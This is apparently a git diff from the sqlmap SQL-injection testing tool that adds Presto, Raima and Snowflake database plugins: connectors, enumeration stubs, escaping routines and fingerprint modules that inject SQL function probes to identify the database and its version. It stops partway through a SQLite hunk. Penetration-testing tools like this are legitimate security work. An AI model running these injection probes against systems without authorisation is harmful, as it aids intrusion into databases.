+1,70 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import prestodb +except: + pass + +import logging +import struct + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/prestodb/presto-python-client + User guide: https://github.com/prestodb/presto-python-client/blob/master/README.md + API: https://www.python.org/dev/peps/pep-0249/ + PyPI package: presto-python-client + License: Apache License 2.0 + """ + + def connect(self): + self.initConnection() + + try: + self.connector = prestodb.dbapi.connect(host=self.hostname, user=self.user, catalog=self.db, port=self.port, request_timeout=conf.timeout) + except (prestodb.exceptions.OperationalError, prestodb.exceptions.InternalError, prestodb.exceptions.ProgrammingError, struct.error) as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except prestodb.exceptions.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + retVal = False + + try: + self.cursor.execute(query) + retVal = True + except (prestodb.exceptions.OperationalError, prestodb.exceptions.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except prestodb.exceptions.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + return retVal + + def select(self, query): + retVal = None + + if self.execute(query): + retVal = self.fetchall() + + return retVal diff --git a/plugins/dbms/presto/enumeration.py b/plugins/dbms/presto/enumeration.py new file mode 100644 index 00000000000..aad5d4bcad5 --- /dev/null +++ b/plugins/dbms/presto/enumeration.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getBanner(self): + warnMsg = "on Presto it is not possible to get the banner" + logger.warning(warnMsg) + + return None + + def getCurrentDb(self): + warnMsg = "on Presto it is not possible to get name of the current database (schema)" + logger.warning(warnMsg) + + def isDba(self, user=None): + warnMsg = "on Presto it is not possible to test if current user is DBA" + logger.warning(warnMsg) + + def getUsers(self): + warnMsg = "on Presto it is not possible to enumerate the users" + logger.warning(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on Presto it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Presto it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on Presto it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on Presto it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on Presto it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/presto/filesystem.py b/plugins/dbms/presto/filesystem.py new file mode 100644 index 00000000000..33793a67f47 --- /dev/null +++ b/plugins/dbms/presto/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on Presto it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on Presto it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/presto/fingerprint.py b/plugins/dbms/presto/fingerprint.py new file mode 100644 index 00000000000..fdc5b7968a6 --- /dev/null +++ b/plugins/dbms/presto/fingerprint.py @@ -0,0 +1,137 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import PRESTO_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.PRESTO) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.PRESTO + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(PRESTO_ALIASES): + setDbms(DBMS.PRESTO) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.PRESTO + logger.info(infoMsg) + + result = inject.checkBooleanExpression("TO_BASE64URL(NULL) IS NULL") + + if result: + infoMsg = "confirming %s" % DBMS.PRESTO + logger.info(infoMsg) + + result = inject.checkBooleanExpression("TO_HEX(FROM_HEX(NULL)) IS NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.PRESTO + logger.warning(warnMsg) + + return False + + setDbms(DBMS.PRESTO) + + if not conf.extensiveFp: + return True + + infoMsg = "actively fingerprinting %s" % DBMS.PRESTO + logger.info(infoMsg) + + # Reference: https://prestodb.io/docs/current/release/release-0.200.html + if inject.checkBooleanExpression("FROM_IEEE754_32(NULL) IS NULL"): + Backend.setVersion(">= 0.200") + # Reference: https://prestodb.io/docs/current/release/release-0.193.html + elif inject.checkBooleanExpression("NORMAL_CDF(NULL,NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.193") + # Reference: https://prestodb.io/docs/current/release/release-0.183.html + elif inject.checkBooleanExpression("MAP_ENTRIES(NULL) IS NULL"): + Backend.setVersion(">= 0.183") + # Reference: https://prestodb.io/docs/current/release/release-0.171.html + elif inject.checkBooleanExpression("CODEPOINT(NULL) IS NULL"): + Backend.setVersion(">= 0.171") + # Reference: https://prestodb.io/docs/current/release/release-0.162.html + elif inject.checkBooleanExpression("XXHASH64(NULL) IS NULL"): + Backend.setVersion(">= 0.162") + # Reference: https://prestodb.io/docs/current/release/release-0.151.html + elif inject.checkBooleanExpression("COSINE_SIMILARITY(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.151") + # Reference: https://prestodb.io/docs/current/release/release-0.143.html + elif inject.checkBooleanExpression("TRUNCATE(NULL) IS NULL"): + Backend.setVersion(">= 0.143") + # Reference: https://prestodb.io/docs/current/release/release-0.137.html + elif inject.checkBooleanExpression("BIT_COUNT(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.137") + # Reference: https://prestodb.io/docs/current/release/release-0.130.html + elif inject.checkBooleanExpression("MAP_CONCAT(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.130") + # Reference: https://prestodb.io/docs/current/release/release-0.115.html + elif inject.checkBooleanExpression("SHA1(NULL) IS NULL"): + Backend.setVersion(">= 0.115") + # Reference: https://prestodb.io/docs/current/release/release-0.100.html + elif inject.checkBooleanExpression("SPLIT(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.100") + # Reference: https://prestodb.io/docs/current/release/release-0.70.html + elif inject.checkBooleanExpression("GREATEST(NULL,NULL) IS NULL"): + Backend.setVersion(">= 0.70") + else: + Backend.setVersion("< 0.100") + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.PRESTO + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/presto/syntax.py b/plugins/dbms/presto/syntax.py new file mode 100644 index 00000000000..7ba5c8b9f38 --- /dev/null +++ b/plugins/dbms/presto/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/presto/takeover.py b/plugins/dbms/presto/takeover.py new file mode 100644 index 00000000000..ab6233905d6 --- /dev/null +++ b/plugins/dbms/presto/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Presto it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Presto it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Presto it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Presto it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/raima/__init__.py b/plugins/dbms/raima/__init__.py new file mode 100644 index 00000000000..ab55bcffd6c --- /dev/null +++ b/plugins/dbms/raima/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import RAIMA_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.raima.enumeration import Enumeration +from plugins.dbms.raima.filesystem import Filesystem +from plugins.dbms.raima.fingerprint import Fingerprint +from plugins.dbms.raima.syntax import Syntax +from plugins.dbms.raima.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class RaimaMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Raima methods + """ + + def __init__(self): + self.excludeDbsList = RAIMA_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.RAIMA] = Syntax.escape diff --git a/plugins/dbms/raima/connector.py b/plugins/dbms/raima/connector.py new file mode 100644 index 00000000000..75e1c30f8fc --- /dev/null +++ b/plugins/dbms/raima/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on Raima Database Manager it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/raima/enumeration.py b/plugins/dbms/raima/enumeration.py new file mode 100644 index 00000000000..b0cbd38208a --- /dev/null +++ b/plugins/dbms/raima/enumeration.py @@ -0,0 +1,84 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getBanner(self): + warnMsg = "on Raima Database Manager it is not possible to get the banner" + logger.warning(warnMsg) + + return None + + def getCurrentUser(self): + warnMsg = "on Raima Database Manager it is not possible to enumerate the current user" + logger.warning(warnMsg) + + def getCurrentDb(self): + warnMsg = "on Raima Database Manager it is not possible to get name of the current database" + logger.warning(warnMsg) + + def isDba(self, user=None): + warnMsg = "on Raima Database Manager it is not possible to test if current user is DBA" + logger.warning(warnMsg) + + def getUsers(self): + warnMsg = "on Raima Database Manager it is not possible to enumerate the users" + logger.warning(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on Raima Database Manager it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Raima Database Manager it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getDbs(self): + warnMsg = "on Raima Database Manager it is not possible to enumerate databases (use only '--tables')" + logger.warning(warnMsg) + + return [] + + def searchDb(self): + warnMsg = "on Raima Database Manager it is not possible to search databases" + logger.warning(warnMsg) + + return [] + + def searchTable(self): + warnMsg = "on Raima Database Manager it is not possible to search tables" + logger.warning(warnMsg) + + return [] + + def searchColumn(self): + warnMsg = "on Raima Database Manager it is not possible to search columns" + logger.warning(warnMsg) + + return [] + + def search(self): + warnMsg = "on Raima Database Manager search option is not available" + logger.warning(warnMsg) + + def getHostname(self): + warnMsg = "on Raima Database Manager it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on Raima Database Manager it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/raima/filesystem.py b/plugins/dbms/raima/filesystem.py new file mode 100644 index 00000000000..817d0e20ff6 --- /dev/null +++ b/plugins/dbms/raima/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on Raima Database Manager it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on Raima Database Manager it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/raima/fingerprint.py b/plugins/dbms/raima/fingerprint.py new file mode 100644 index 00000000000..a62a674dedf --- /dev/null +++ b/plugins/dbms/raima/fingerprint.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import METADB_SUFFIX +from lib.core.settings import RAIMA_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.RAIMA) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.RAIMA + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(RAIMA_ALIASES): + setDbms(DBMS.RAIMA) + return True + + infoMsg = "testing %s" % DBMS.RAIMA + logger.info(infoMsg) + + result = inject.checkBooleanExpression("ROWNUMBER()=ROWNUMBER()") + + if result: + infoMsg = "confirming %s" % DBMS.RAIMA + logger.info(infoMsg) + + result = inject.checkBooleanExpression("INSSTR('[RANDSTR1]',0,0,'[RANDSTR2]') IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.RAIMA + logger.warning(warnMsg) + + return False + + setDbms(DBMS.RAIMA) + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.RAIMA + logger.warning(warnMsg) + + return False + + def forceDbmsEnum(self): + conf.db = ("%s%s" % (DBMS.RAIMA, METADB_SUFFIX)).replace(' ', '_') diff --git a/plugins/dbms/raima/syntax.py b/plugins/dbms/raima/syntax.py new file mode 100644 index 00000000000..cfc1c86a8ca --- /dev/null +++ b/plugins/dbms/raima/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/raima/takeover.py b/plugins/dbms/raima/takeover.py new file mode 100644 index 00000000000..01bce20a13d --- /dev/null +++ b/plugins/dbms/raima/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Raima Database Manager it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Raima Database Manager it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Raima Database Manager it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Raima Database Manager it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/snowflake/__init__.py b/plugins/dbms/snowflake/__init__.py new file mode 100644 index 00000000000..c3318596441 --- /dev/null +++ b/plugins/dbms/snowflake/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import SNOWFLAKE_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.snowflake.enumeration import Enumeration +from plugins.dbms.snowflake.filesystem import Filesystem +from plugins.dbms.snowflake.fingerprint import Fingerprint +from plugins.dbms.snowflake.syntax import Syntax +from plugins.dbms.snowflake.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class SnowflakeMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Snowflake methods + """ + + def __init__(self): + self.excludeDbsList = SNOWFLAKE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.SNOWFLAKE] = Syntax.escape diff --git a/plugins/dbms/snowflake/connector.py b/plugins/dbms/snowflake/connector.py new file mode 100644 index 00000000000..c24f3ab17b6 --- /dev/null +++ b/plugins/dbms/snowflake/connector.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import snowflake.connector +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.convert import getText +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://www.snowflake.com/ + User guide: https://docs.snowflake.com/en/developer-guide/python-connector/python-connector + API: https://docs.snowflake.com/en/developer-guide/python-connector/python-connector-api + """ + + def __init__(self): + GenericConnector.__init__(self) + + def connect(self): + self.initConnection() + + try: + self.connector = snowflake.connector.connect( + user=self.user, + password=self.password, + account=self.account, + warehouse=self.warehouse, + database=self.db, + schema=self.schema + ) + cursor = self.connector.cursor() + cursor.execute("SELECT CURRENT_VERSION()") + cursor.close() + + except Exception as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except Exception as ex: + logger.log(logging.WARNING if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(getText(query)) + except Exception as ex: + logger.log(logging.WARNING if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + return None + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/snowflake/enumeration.py b/plugins/dbms/snowflake/enumeration.py new file mode 100644 index 00000000000..c742a6960c9 --- /dev/null +++ b/plugins/dbms/snowflake/enumeration.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on Snowflake it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on Snowflake it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def searchDb(self): + warnMsg = "on Snowflake it is not possible to search databases" + logger.warning(warnMsg) + return [] + + def searchColumn(self): + errMsg = "on Snowflake it is not possible to search columns" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/snowflake/filesystem.py b/plugins/dbms/snowflake/filesystem.py new file mode 100644 index 00000000000..23ba254b08b --- /dev/null +++ b/plugins/dbms/snowflake/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on Snowflake it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on Snowflake it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/snowflake/fingerprint.py b/plugins/dbms/snowflake/fingerprint.py new file mode 100644 index 00000000000..512e7427e4c --- /dev/null +++ b/plugins/dbms/snowflake/fingerprint.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import SNOWFLAKE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.SNOWFLAKE) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.SNOWFLAKE + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + """ + References for fingerprint: + + * https://docs.snowflake.com/en/sql-reference/functions/current_warehouse + * https://docs.snowflake.com/en/sql-reference/functions/md5_number_upper64 + """ + + if not conf.extensiveFp and Backend.isDbmsWithin(SNOWFLAKE_ALIASES): + setDbms("%s %s" % (DBMS.SNOWFLAKE, Backend.getVersion())) + self.getBanner() + return True + + infoMsg = "testing %s" % DBMS.SNOWFLAKE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("CURRENT_WAREHOUSE()=CURRENT_WAREHOUSE()") + if result: + infoMsg = "confirming %s" % DBMS.SNOWFLAKE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("MD5_NUMBER_UPPER64('[RANDSTR]')=MD5_NUMBER_UPPER64('[RANDSTR]')") + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.SNOWFLAKE + logger.warning(warnMsg) + return False + + setDbms(DBMS.SNOWFLAKE) + self.getBanner() + return True + + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.SNOWFLAKE + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/snowflake/syntax.py b/plugins/dbms/snowflake/syntax.py new file mode 100644 index 00000000000..7ba5c8b9f38 --- /dev/null +++ b/plugins/dbms/snowflake/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/snowflake/takeover.py b/plugins/dbms/snowflake/takeover.py new file mode 100644 index 00000000000..0acd82169f0 --- /dev/null +++ b/plugins/dbms/snowflake/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Snowflake it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Snowflake it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Snowflake it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Snowflake it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/sqlite/__init__.py b/plugins/dbms/sqlite/__init__.py index adb10a1b908..cb8703b7a6f 100644 --- a/plugins/dbms/sqlite/__init__.py +++ b/plugins/dbms/sqlite/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -23,11 +23,7 @@ class SQLiteMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Tak def __init__(self): self.excludeDbsList = SQLITE_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.SQLITE] = Syntax.escape diff --git a/plugins/dbms/sqlite/connector.py b/plugins/dbms/sqlite/connector.py index 82c0f3d5aa7..0b167273df1 100644 --- a/plugins/dbms/sqlite/connector.py +++ b/plugins/dbms/sqlite/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -13,7 +13,7 @@ import logging from lib.core.common import getSafeExString -from lib.core.convert import utf8encode +from lib.core.convert import getText from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException @@ -48,7 +48,7 @@ def connect(self): except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError): warnMsg = "unable to connect using SQLite 3 library, trying with SQLite 2" - 